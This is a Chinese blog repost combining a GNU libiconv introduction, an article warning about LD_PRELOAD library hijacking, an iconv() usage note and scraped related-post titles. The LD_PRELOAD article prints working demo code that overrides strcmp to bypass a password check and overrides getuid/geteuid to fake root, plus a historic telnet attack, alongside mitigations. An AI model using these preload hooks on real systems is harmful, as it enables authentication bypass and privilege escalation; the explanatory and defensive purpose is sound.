来源:'http://dxwang.blog.51cto.com/384651/538113

介绍
由于历史原因,国际上的各国文字都是依赖于自己本国语言而编码的。后来,随着Internet的出现和各国之间逐渐频繁的文字交流(比如浏览国外的Web页面),编码之间的转换就显得非常重要。这时也出现了一个问题,很多字符在一种编码中出现而没有被另一种编码包含。为了解决这种编码带来的混乱,人们发明了Unicode编码。它是所有编码的超集,因此成为新的文本格式的默认编码,象XML。
尽管如此,很多计算机在当地仍然使用传统字符编码方式。有些程序,象邮件客户端和Web浏览器,必须能够在原编码方式和用户本地编码方式之间进行转换;还有一些程序,为了方便内部处理,内部用Unicode存储,当作I/O 操作时,需要在内部编码方式(Unicode)和外部展现的编码方式(传统编码)之间转换。
GNU libiconv就是一个实现上述两种应用的转换库。
细节
本库提供了iconv()的实现,应用于没有支持编码转换的系统。
支持以下编码方式:
l        欧洲语言
ASCII, ISO-8859-{1,2,3,4,5,7,9,10,13,14,15,16}, KOI8-R, KOI8-U, KOI8-RU, CP{1250,1251,1252,1253,1254,1257}, CP{850,866}, Mac{Roman,CentralEurope,Iceland,Croatian,Romania}, Mac{Cyrillic,Ukraine,Greek,Turkish}, Macintosh
l        犹太语言
ISO-8859-{6,8}, CP{1255,1256}, CP862, Mac{Hebrew,Arabic}
l        日语
EUC-JP, SHIFT_JIS, CP932, ISO-2022-JP, ISO-2022-JP-2, ISO-2022-JP-1
l        中文
EUC-CN, HZ, GBK, CP936, GB18030, EUC-TW, BIG5, CP950, BIG5-HKSCS, BIG5-HKSCS:2001, BIG5-HKSCS:1999, ISO-2022-CN, ISO-2022-CN-EXT
l        韩语
EUC-KR, CP949, ISO-2022-KR, JOHAB
l        亚美尼亚语
ARMSCII-8
l        亚美尼亚语
Georgian-Academy, Georgian-PS
l        塔吉克语
KOI8-T

l        哈萨克语

PT154

l        泰国语

ISO-8859-11, TIS-620, CP874, MacThai

l        老挝语

MuleLao-1, CP1133

l        越南语

VISCII, TCVN, CP1258

l        特殊平台

HP-ROMAN8, NEXTSTEP

l        Full Unicode

UTF-8 
UCS-2, UCS-2BE, UCS-2LE 
UCS-4, UCS-4BE, UCS-4LE 
UTF-16, UTF-16BE, UTF-16LE 
UTF-32, UTF-32BE, UTF-32LE 
UTF-7 
C99, JAVA

l        Full Unicode, 按uint16_t/uint32_t (with machine dependent endianness and alignment)

UCS-2-INTERNAL, UCS-4-INTERNAL

l        Locale dependent, 按char/wchar_t (with machine dependent endianness and alignment, and with OS and locale dependent semantics)

char, wchar_t

名称为空的编码方式等同于“char”:表示依赖本地的字符编码。

如果配置了选项--enable-extra-encodings,还支持部分其它编码方式:

l        欧洲语言

CP{437,737,775,852,853,855,857,858,860,861,863,865,869,1125}

l        犹太语言

CP864

l        日语

EUC-JISX0213, Shift_JISX0213, ISO-2022-JP-3

l        中文

BIG5-2003 (experimental)

l        土库曼语

TDS565

l        特殊平台

ATARIST, RISCOS-LATIN1

通过与Unicode之间的转换,libiconv支持所有这些编码方式的任意转换。

安装

GNU包的常规安装:

$ ./configure --prefix=/usr/local
$ make
$ make install

第一次安装libiconv库后,强烈建议你重新编译和重新安装gettext,使它能使用libiconv强大的功能。

在非GUN/Linux系统上,只有gettext在libiconv之前生成和安装,采用iconv的程序才能支持国际化。也就是说,首先安装libiconv,libiconv和gettext之间的循环依赖关系,可通过生成、安装任一包来解决。

顺序1:libiconv -

2

> gettext -> libiconv,或

顺序2:gettext -> libiconv -> gettext(支持共享库的系统,AIX除外)

记住,第二次生成包时,你需要运行"make distclean"来清除第一次生成时留下的痕迹。

这个库的生成、安装有两种模式。

²       库模式(library mode)。可工作在所有系统上,使用库文件libiconv.so和头文件<iconv.h>(两个文件通过“make install”安装)

使用这种模式,只需简单地#include <iconv.h>,然后使用函数。

自动配置包方式(autoconfiguring package)使用这种模式:

  • 如果不使用automake,将m4/iconv.m4附加到你的aclocal.m4文件中;
  • 如果使用automake,将m4/iconv.m4添加到你的m4 macro repository;
  • 运用占位符@LIBICONV@(使用libtool创建链接,则为@LTLIBICONV@),将使用iconv函数的库文件和可执行文件添加到链接命令行中。如果使用automake,这些占位符的右边是*_LDADD。

注意,iconv.m4也是gettext包的一部分,安装在/usr/local/share/aclocal/iconv.m4。

²       libc的插入/重载模式(libc plug/override mode)。仅工作在GNU/Linux、Solaris和OSF/1系统上。是一种在没有glibc时来获取较好的iconv支持的途径。

这种模式安装库文件preloadable_libiconv.so,通过选项LD_PRELOAD,来重载所有C语言库中的iconv*函数。

  • GNU/Linux和Solaris系统:

$ export LD_PRELOAD=/usr/local/lib/preloadable_libiconv.so

  • OSF/1系统:

$ export _RLD_LIST=/usr/local/lib/preloadable_libiconv.so:DEFAULT

程序的代码不需要修改,甚至不需要重新编译,仅仅设置环境变量LD_PRELOAD即可。

下载libiconv

libiconv在GNU镜像站点 的子目录/pub/gnu/libiconv/找到

通过其他途径获取libiconv,请阅读怎样获取GNU软件。

最新发布版本是 http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.11.tar.gz

文档

下面列出了相关在线文档的链接。

iconv程序

iconv.1.html

库函数

iconv_open.3.html 
iconv.3.html 
iconv_close.3.html 
iconvctl.3.html

警惕UNIX下的LD_PRELOAD环境变量

陈皓

前言

也许这个话题并不新鲜,因为LD_PRELOAD所产生的问题由来已久。不过,在这里,我还是想讨论一下这个环境变量。因为这个环境变量所带来的安全问题非常严重,值得所有的Unix下的程序员的注意。

在开始讲述为什么要当心LD_PRELOAD环境变量之前,请让我先说明一下程序的链接。所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说,程序的链接分为静态链接和动态链接,静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行链接。所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。

当然,世界上没有什么东西都是完美的,有好就有坏,有得就有失。动态链接所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦,你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程,那么,你的程序也就被人“劫持”了。

LD_PRELOAD简介

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

我们知道,Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎所有Linux下命令的动态链接中,其中有标准C的各种函数。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的。

OK。还是让我用一个例子来看一下用LD_PRELOAD来hack别人的程序。

示例一

我们写下面一段例程:

/* 文件名:verifypasswd.c */

/* 这是一段判断用户口令的程序,其中使用到了标准C函数strcmp*/

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv)

{

char passwd[] = "password";

if (argc < 2) {

printf("usage: %s <password>\n", argv[0]);

return;

}

if (!strcmp(passwd, argv[1])) {

printf("Correct Password!\n");

return;

}

printf("Invalid Password!\n");

}

在上面这段程序中,我们使用了strcmp函数来判断两个字符串是否相等。下面,我们使用一个动态函数库来重载strcmp函数:

/* 文件名:hack.c */

#include <stdio.h>

#include <string.h>

int strcmp(const char *s1, const char *s2)

{

printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);

/* 永远返回0,表示两个字符串相等 */

return 0;

}

编译程序:

$ gcc -o verifypasswd verifypasswd.c

$ gcc -shared -o hack.so hack.c

测试一下程序:(得到正确结果)

$ ./verifypasswd asdf

Invalid Password!

设置LD_PRELOAD变量:(使我们重写过的strcmp函数的hack.so成为优先载入链接库)

$ export LD_PRELOAD="./hack.so"

再次运行程序:

$ ./verifypasswd  asdf

hack function invoked. s1=<password> s2=<asdf>

Correct Password!

我们可以看到,1)我们的hack.so中的strcmp被调用了。2)主程序中运行结果被影响了。如果这是一个系统登录程序,那么这也就意味着我们用任意口令都可以进入系统了。

示例二

让我们再来一个示例(这个示例来源于我的工作)。这个软件是一个分布式计算平台,软件在所有的计算机上都有以ROOT身份运行的侦听程序(Daemon),用户可以把的一程序从A计算机提交到B计算机上去运行。这些Daemon会把用户在A计算机上的所有环境变量带到B计算机上,在B计算机上的Daemon会fork出一个子进程,并且Daemon会调用seteuid、setegid来设置子程的执行宿主,并在子进程空间中设置从A计算机带过来的环境变量,以仿真用户的运行环境。(注意:A和B都运行在NIS/NFS方式上)

于是,我们可以写下这样的动态链接库:

/* 文件名:preload.c */

#include <dlfcn.h>

#include <unistd.h>

#include <sys/types.h>

uid_t geteuid( void ) { return 0; }

uid_t getuid( void ) { return 0; }

uid_t getgid( void ) { return 0; }

在这里我们可以看到,我们重载了系统调用。于是我们可以通过设置LC_PRELOAD来迫使主程序使用我们的geteuid/getuid/getgid(它们都返回0,也就是Root权限)。这会导致,上述的那个分布式计算平台的软件在提交端A计算机上调用了geteuid得到当前用户ID是0,并把这个用户ID传到了执行端B计算机上,于是B计算机上的Daemon就会调用seteuid(0),导致我们的程序运行在了Root权限之下。从而,用户取得了超级用户的权限而为所欲为。

上面的这个preload.c文件也就早期的为人所熟知的hack程序了。恶意用户通过在系统中设计LC_PRELOAD环境变量来加载这个动态链接库,会非常容易影响其它系统命令(如:/bin/sh, /bin/ls, /bin/rm 等),让这些系统命令以Root权限运行。

让我们看一下这个函数是怎么影响系统命令的:

$ id

uid=500(hchen) gid=10(wheel) groups=10(wheel)

$ gcc -shared -o preload.so preload.c

$ setenv LD_PRELOAD ./preload.so

$ id

uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)

$ whoami

root

$ /bin/sh

#         <------ 你可以看到命令行提示符会由 $ 变成 #

下面是一个曾经非常著名的系统攻击

$ telnet

telnet> env def LD_PRELOAD /home/hchen/test/preload.so

telnet> open localhost

#

当然,这个安全BUG早已被Fix了(虽然,通过id或是whoami或是/bin/sh让你觉得你像是root,但其实你并没有root的权限),当今的Unix系统中不会出现这个的问题。但这并不代表,我们自己写的程序,或是第三方的程序能够避免这个问题,尤其是那些以Root方式运行的第三方程序。

所以,在我们编程时,我们要随时警惕着LD_PRELOAD。

如何避免

不可否认,LD_PRELOAD是一个很难缠的问题。目前来说,要解决这个问题,只能想方设法让LD_PRELOAD失效。目前而言,有以下面两种方法可以让LD_PRELOAD失效。

1)通过静态链接。使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。

2)通过设置执行文件的setgid / setuid标志。在有SUID权限的执行文件,系统会忽略LD_PRELOAD环境变量。也就是说,如果你有以root方式运行的程序,最好设置上SUID权限。(如:chmod 4755 daemon)

在一些UNIX版本上,如果你想要使用LD_PRELOAD环境变量,你需要有root权限。但不管怎么说,这些个方法目前来看并不是一个彻底的解决方案,只是一个Workaround的方法,是一种因噎废食的做法,为了安全,只能禁用。

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/haoel/archive/2007/05/09/1602108.aspx

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

libiconv之iconv函数的正确使用方法

libiconv是一个开源的字符编码转换库,很多人使用它的转换函数时都会遇到问题,这次我们就来讲一下怎么正确使用。

iconv函数原型为:

size_t iconv (iconv_t cd,  char* * inbuf, size_t *inbytesleft, char* * outbuf, size_t *outbytesleft); 

第一个参数是iconv的描述字,其实是指针,第二个参数表示下一次转换位置的指针的指针,第三个参数表示最多处理inbytesleft个字节,第四个参数表示下一次转换后输出的指针的指针,第五个参数表示最多输出outbutesleft个字节。

iconv函数一次转换一个多字节字符,每次字符转换,*inbuf增加已转换的字节数,*inbytesleft相应地减少已转换的字节数;对应地,*outbuf和*outbytesleft作相应的修改,同时修改cd的转换状态。iconv函数返回本次调用中转换的字符数,可逆的转换不计入。

注意iconv会改变这五个参数的值,所以我们在使用的时候一定要注意。使用的时候或者传副本,或者先把值记录下来,用后在恢复,个人比较倾向于第一种方法。而且由于iconv并不输出\0,所以我们得自己加\0.

如下例子:

char* utf8_input="伟大的hongchangfirst";

char* utf8_input_tmp=utf8_input;

size_t insize=strlen(utf8_input);

const size_t outsize=1024*1024;

char* gbk_input=new char[outsize];

char8 gbk_input_tmp=gbk_input;

size_t outsize_tmp=outsize;

size_t rc=iconv(converter, &utf8_input_tmp, &insize, &gbk_input_tmp, &outsize_tmp);

*gbk_input_tmp='\0';

注意如果rc不为0,那就悲剧了,意味着我们不能够再从转换后的字符串t完全转换回去而不丢失信息了。

以下是iconv函数的英文注释:

/* Converts, using conversion descriptor ‘cd’, at most ‘*inbytesleft’ bytes
   starting at ‘*inbuf’, writing at most ‘*outbytesleft’ bytes starting at
   ‘*outbuf’.
   Decrements ‘*inbytesleft’ and increments ‘*inbuf’ by the same amount.
   Decrements ‘*outbytesleft’ and increments ‘*outbuf’ by the same amount. */

原文:http://blog.csdn.net/hongchangfirst/article/details/8951391

作者:hongchangfirst

hongchangfirst的主页:http://blog.csdn.net/hongchangfirst

libiconv的介绍相关推荐

  1. c语言 iconv函数,libiconv的介绍

    查看原文 http://www.gnu.org/software/libiconv/ 由于历史原因,国际上的各国文字都是依赖于自己本国语言而编码的.后来,随着Internet的出现和各国之间逐渐频繁的 ...

  2. ARM开发板上iconv调用失败的解决方法

    当前流行的字符编码格式有:US-ASCII.ISO-8859-1.UTF-8.UTF-16BE.UTF-16LE.UTF-16.GBK.GB2312等,其中GBK.GB2312是专门处理中文编码的.而 ...

  3. octave源代码安装之——依赖关系解析(致数学爱好者)

    octave源代码安装之--依赖关系解析(致数学爱好者) 我的系统是gentoo 3. 0 .6, gnome-3 ,gcc-4.5.3, 安装好系统,和一些必要的autotool, 就可以下载oct ...

  4. gblic中libiconv介绍

    随着web应用的不断发展,我们经常需要转换编码格式.最初有debian开始的libiconv已经在各种平台上都可以应用了.对于C/C++代码来说这个库是一个福音,省去编码转换的很大麻烦.其中shell ...

  5. PHP中的mb_convert_encoding与iconv函数介绍

    iconv函数库能够完成各种字符集间的转换,是php编程中不可缺少的基础函数库.  1.下载libiconv函数库http://ftp.gnu.org/pub/gnu/libiconv/libicon ...

  6. iOS SDK 介绍及导入

    iOS SDK 介绍 环信 SDK 为用户开发 IM 相关的应用提供的一套完善的开发框架.包括以下几个部分: SDK_Core: 为核心的消息同步协议实现,完成与服务器之间的信息交换. SDK: 是基 ...

  7. c语言 乱码转化为16进制_编码格式介绍及C语言处理汉字编码

    什么是编码格式 从一个小问题引入 我们在学习C语言的时候,有一道必做的题目是将大写字母转换成小写,相信有点基础的同学都能不加思索的写出下面的代码:char toLower(char upper){ i ...

  8. Libiconv移植到Hi3536

    环境 Ubuntu: Ubuntu 20.20LTS Board: Hi3536 ARM-GCC: arm-hisiv400-linux- QT: Qt5.9.9 Libiconv: libiconv ...

  9. ubuntu libiconv库 arm交叉编译

    libiconv库 交叉编译 libiconv 介绍 1.配置环境及资源 1. 下载交叉编译器 2.下载 libiconv源码 开始编译 libiconv 介绍 libiconv库是一个基于GNU协议 ...

  10. Dev-Cpp/Mingw32 环境介绍

    http://wxjiao.blog.hexun.com/1945078_d.html Dev-Cpp/Mingw32 环境介绍 [转贴 2005-12-30 14:37:51]   字号:大 中 小 ...

最新文章

  1. JavaScript计算汉明距离(HammingDistance)
  2. oracle 物化视图 ORA-23413: 表 xxx.xx 不带实体化视图日志
  3. Javaee 应用分层架构
  4. 算法 --- 二叉树查找树的先序(中序、后序)遍历的js实现
  5. python getattrribute_python操作对象属性
  6. MongoDB 数据类型查询——$type使用
  7. redis序列化_SpringBoot整合redis
  8. Twitter 宣布抛弃 Mesos,全面转向Kubernetes
  9. 大端模式、小端模式、网络字节顺序与主机字节顺序
  10. SharePoint 使用ECMAscript对象模型来读取帖子列表
  11. topcoder客户端
  12. 机器学习之十大经典算法(九)EM算法
  13. 应届毕业生外包公司体验
  14. 在启动MYSQL时出现问题:“ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)”
  15. LocalDate的用法与String互转
  16. 软件测评师教程之软件测试基础
  17. rsync:基本命令和用法
  18. 上传文件计算机传输的,文件全能王怎么把文件传到电脑上 文件全能王文件上传到电脑教程...
  19. 香港服务器托管服务怎么样?
  20. Swift4 使用GCD实现计时器

热门文章

  1. 设置某一个行列的颜色和写保护属性
  2. 【微分方程数值解】常\偏微分方程及其常用数值解法概述
  3. 无盘服务器1410M,【说好的每周一贴】网维9系整套施工指南及常见问题与解决方法!!...
  4. 顶级asp.net论坛程序bbsmax 4.2.2发布
  5. Unity3D 脚本实现动画效果
  6. 虚拟机xp系统联网问题
  7. 《高性能MySQL》读书笔记
  8. 【网络编程】Socket网络编程基础
  9. Silverlight 下载
  10. 原生JavaScript实现幻灯片效果